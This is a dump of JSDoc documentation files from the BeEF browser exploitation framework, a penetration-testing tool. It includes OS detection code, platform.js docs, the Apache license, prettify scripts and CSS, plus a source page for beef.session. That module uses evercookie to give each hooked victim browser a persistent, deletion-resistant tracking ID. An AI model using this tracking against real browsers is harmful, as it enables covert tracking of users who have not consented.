    try {
      var family = platform.os.family;
      if (!!family)
        return family;
    } catch (e) {}

    return arch;
  },

  /**
    * Get OS name
	* @return {string}
    */
	getVersion: function(){
		//Windows
		if(this.isWindows()) {
			if (this.isWin10())         return '10';
			if (this.isWin81())         return '8.1';
			if (this.isWin8())          return '8';
			if (this.isWin7())          return '7';
			if (this.isWinVista())      return 'Vista';
			if (this.isWinXP())         return 'XP';
			if (this.isWinServer2003()) return 'Server 2003';
			if (this.isWin2000SP1())    return '2000 SP1';
			if (this.isWin2000())       return '2000';
			if (this.isWinME())         return 'Millenium';

			if (this.isWinNT4())        return 'NT 4';
			if (this.isWinCE())         return 'CE';
			if (this.isWin95())         return '95';
			if (this.isWin98())         return '98';
		}

		// OS X
		if(this.isMacintosh()) {
			if (this.isOsxYosemite())        return '10.10';
			if (this.isOsxMavericks())       return '10.9';
			if (this.isOsxSnowLeopard())     return '10.8';
			if (this.isOsxLeopard())         return '10.7';
		}

		// TODO add Android/iOS version detection
	}
};

beef.regCmp('beef.net.os');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/platform.html ================================================ JSDoc: Namespace: platform

Namespace: platform

platform

Platform.js Copyright 2014-2018 Benjamin Tan Copyright 2011-2013 John-David Dalton Available under MIT license

Source:

Members

(static) description :string|null

The platform description.

Type:
  • string | null
Source:

(static) layout :string|null

The name of the browser's layout engine.

The list of common layout engines include: "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"

Type:
  • string | null
Source:

(static) manufacturer :string|null

The name of the product's manufacturer.

The list of manufacturers include: "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry", "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo", "Nokia", "Samsung" and "Sony"

Type:
  • string | null
Source:

(static) name :string|null

The name of the browser/environment.

The list of common browser names include: "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE", "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk", "Opera Mini" and "Opera"

Mobile versions of some browsers have "Mobile" appended to their name: eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"

Type:
  • string | null
Source:

(static) os :Object

The name of the operating system.

Type:
  • Object
Source:

(static) platform :Object

The platform object.

Type:
  • Object
Source:

(static) prerelease :string|null

The alpha/beta release indicator.

Type:
  • string | null
Source:

(static) product :string|null

The name of the product hosting the browser.

The list of common products include:

"BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle", "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"

Type:
  • string | null
Source:

(static) toString

Returns platform.description when the platform object is coerced to a string.

Source:

(static) ua :string|null

The browser's user agent string.

Type:
  • string | null
Source:

(static) version :string|null

The browser/environment version.

Type:
  • string | null
Source:

Methods

(static) parse(uaopt) → {Object}

Creates a new platform object.

Parameters:
Name Type Attributes Default Description
ua Object | string <optional>
navigator.userAgent

The user agent string or context object.

Source:
Returns:

A platform object.

Type
Object

Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/scripts/linenumber.js ================================================ /*global document */ (() => { const source = document.getElementsByClassName('prettyprint source linenums'); let i = 0; let lineNumber = 0; let lineId; let lines; let totalLines; let anchorHash; if (source && source[0]) { anchorHash = document.location.hash.substring(1); lines = source[0].getElementsByTagName('li'); totalLines = lines.length; for (; i < totalLines; i++) { lineNumber++; lineId = `line${lineNumber}`; lines[i].id = lineId; if (lineId === anchorHash) { lines[i].className += ' selected'; } } } })(); ================================================ FILE: docs/scripts/prettify/Apache-License-2.0.txt ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: docs/scripts/prettify/lang-css.js ================================================ PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n "]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com", /^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); ================================================ FILE: docs/scripts/prettify/prettify.js ================================================ var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; (function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= [],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, "");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], "catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), ["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", /^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), ["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= !k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p JSDoc: Source: session.js

Source: session.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides basic session functions.
 * @namespace beef.session
 */
beef.session = {
	
	hook_session_id_length: 80,
	hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",	
	ec: new evercookie(),
    beefhook: "<%= @hook_session_name %>",
	
	/**
	 * Gets a string which will be used to identify the hooked browser session
	 * 
	 * @example: var hook_session_id = beef.session.get_hook_session_id();
	 */
  	get_hook_session_id: function() {
		// check if the browser is already known to the framework
		var id = this.ec.evercookie_cookie(beef.session.beefhook);
		if (typeof id == 'undefined') {
			var id = this.ec.evercookie_userdata(beef.session.beefhook);
		}
		if (typeof id == 'undefined') {
			var id = this.ec.evercookie_window(beef.session.beefhook);
		}
		
		// if the browser is not known create a hook session id and set it
		if ((typeof id == 'undefined') || (id == null)) {
			id = this.gen_hook_session_id();
			this.set_hook_session_id(id);
		}
		
		// return the hooked browser session identifier
		return id;
	},
	
	/**
	 * Sets a string which will be used to identify the hooked browser session
	 * 
	 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
	 */
  	set_hook_session_id: function(id) {
		// persist the hook session id
		this.ec.evercookie_cookie(beef.session.beefhook, id);
		this.ec.evercookie_userdata(beef.session.beefhook, id);
		this.ec.evercookie_window(beef.session.beefhook, id);
	},
	
	/**
	 * Generates a random string using the chars in hook_session_id_chars.
	 * 
	 * @example: beef.session.gen_hook_session_id();
	 */
  	gen_hook_session_id: function() {
	    // init the return value
		var hook_session_id = "";
		
		// construct the random string 
		for(var i=0; i<this.hook_session_id_length; i++) {
		  var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
		  hook_session_id += this.hook_session_id_chars.charAt(rand_num);
		}
		
		return hook_session_id;
	}
};

beef.regCmp('beef.session');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/styles/jsdoc-default.css ================================================ @font-face { font-family: 'Open Sans'; font-weight: normal; font-style: normal; src: url('../fonts/OpenSans-Regular-webfont.eot'); src: local('Open Sans'), local('OpenSans'), url('../fonts/OpenSans-Regular-webfont.eot?#iefix') format('embedded-opentype'), url('../fonts/OpenSans-Regular-webfont.woff') format('woff'), url('../fonts/OpenSans-Regular-webfont.svg#open_sansregular') format('svg'); } @font-face { font-family: 'Open Sans Light'; font-weight: normal; font-style: normal; src: url('../fonts/OpenSans-Light-webfont.eot'); src: local('Open Sans Light'), local('OpenSans Light'), url('../fonts/OpenSans-Light-webfont.eot?#iefix') format('embedded-opentype'), url('../fonts/OpenSans-Light-webfont.woff') format('woff'), url('../fonts/OpenSans-Light-webfont.svg#open_sanslight') format('svg'); } html { overflow: auto; background-color: #fff; font-size: 14px; } body { font-family: 'Open Sans', sans-serif; line-height: 1.5; color: #4d4e53; background-color: white; } a, a:visited, a:active { color: #0095dd; text-decoration: none; } a:hover { text-decoration: underline; } header { display: block; padding: 0px 4px; } tt, code, kbd, samp { font-family: Consolas, Monaco, 'Andale Mono', monospace; } .class-description { font-size: 130%; line-height: 140%; margin-bottom: 1em; margin-top: 1em; } .class-description:empty { margin: 0; } #main { float: left; width: 70%; } article dl { margin-bottom: 40px; } article img { max-width: 100%; } section { display: block; background-color: #fff; padding: 12px 24px; border-bottom: 1px solid #ccc; margin-right: 30px; } .variation { display: none; } .signature-attributes { font-size: 60%; color: #aaa; font-style: italic; font-weight: lighter; } nav { display: block; float: right; margin-top: 28px; width: 30%; box-sizing: border-box; border-left: 1px solid #ccc; padding-left: 16px; } nav ul { font-family: 'Lucida Grande', 'Lucida Sans Unicode', arial, sans-serif; font-size: 100%; line-height: 17px; padding: 0; margin: 0; list-style-type: none; } nav ul a, nav ul a:visited, nav ul a:active { font-family: Consolas, Monaco, 'Andale Mono', monospace; line-height: 18px; color: #4D4E53; } nav h3 { margin-top: 12px; } nav li { margin-top: 6px; } footer { display: block; padding: 6px; margin-top: 12px; font-style: italic; font-size: 90%; } h1, h2, h3, h4 { font-weight: 200; margin: 0; } h1 { font-family: 'Open Sans Light', sans-serif; font-size: 48px; letter-spacing: -2px; margin: 12px 24px 20px; } h2, h3.subsection-title { font-size: 30px; font-weight: 700; letter-spacing: -1px; margin-bottom: 12px; } h3 { font-size: 24px; letter-spacing: -0.5px; margin-bottom: 12px; } h4 { font-size: 18px; letter-spacing: -0.33px; margin-bottom: 12px; color: #4d4e53; } h5, .container-overview .subsection-title { font-size: 120%; font-weight: bold; letter-spacing: -0.01em; margin: 8px 0 3px 0; } h6 { font-size: 100%; letter-spacing: -0.01em; margin: 6px 0 3px 0; font-style: italic; } table { border-spacing: 0; border: 0; border-collapse: collapse; } td, th { border: 1px solid #ddd; margin: 0px; text-align: left; vertical-align: top; padding: 4px 6px; display: table-cell; } thead tr { background-color: #ddd; font-weight: bold; } th { border-right: 1px solid #aaa; } tr > th:last-child { border-right: 1px solid #ddd; } .ancestors, .attribs { color: #999; } .ancestors a, .attribs a { color: #999 !important; text-decoration: none; } .clear { clear: both; } .important { font-weight: bold; color: #950B02; } .yes-def { text-indent: -1000px; } .type-signature { color: #aaa; } .name, .signature { font-family: Consolas, Monaco, 'Andale Mono', monospace; } .details { margin-top: 14px; border-left: 2px solid #DDD; } .details dt { width: 120px; float: left; padding-left: 10px; padding-top: 6px; } .details dd { margin-left: 70px; } .details ul { margin: 0; } .details ul { list-style-type: none; } .details li { margin-left: 30px; padding-top: 6px; } .details pre.prettyprint { margin: 0 } .details .object-value { padding-top: 0; } .description { margin-bottom: 1em; margin-top: 1em; } .code-caption { font-style: italic; font-size: 107%; margin: 0; } .source { border: 1px solid #ddd; width: 80%; overflow: auto; } .prettyprint.source { width: inherit; } .source code { font-size: 100%; line-height: 18px; display: block; padding: 4px 12px; margin: 0; background-color: #fff; color: #4D4E53; } .prettyprint code span.line { display: inline-block; } .prettyprint.linenums { padding-left: 70px; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .prettyprint.linenums ol { 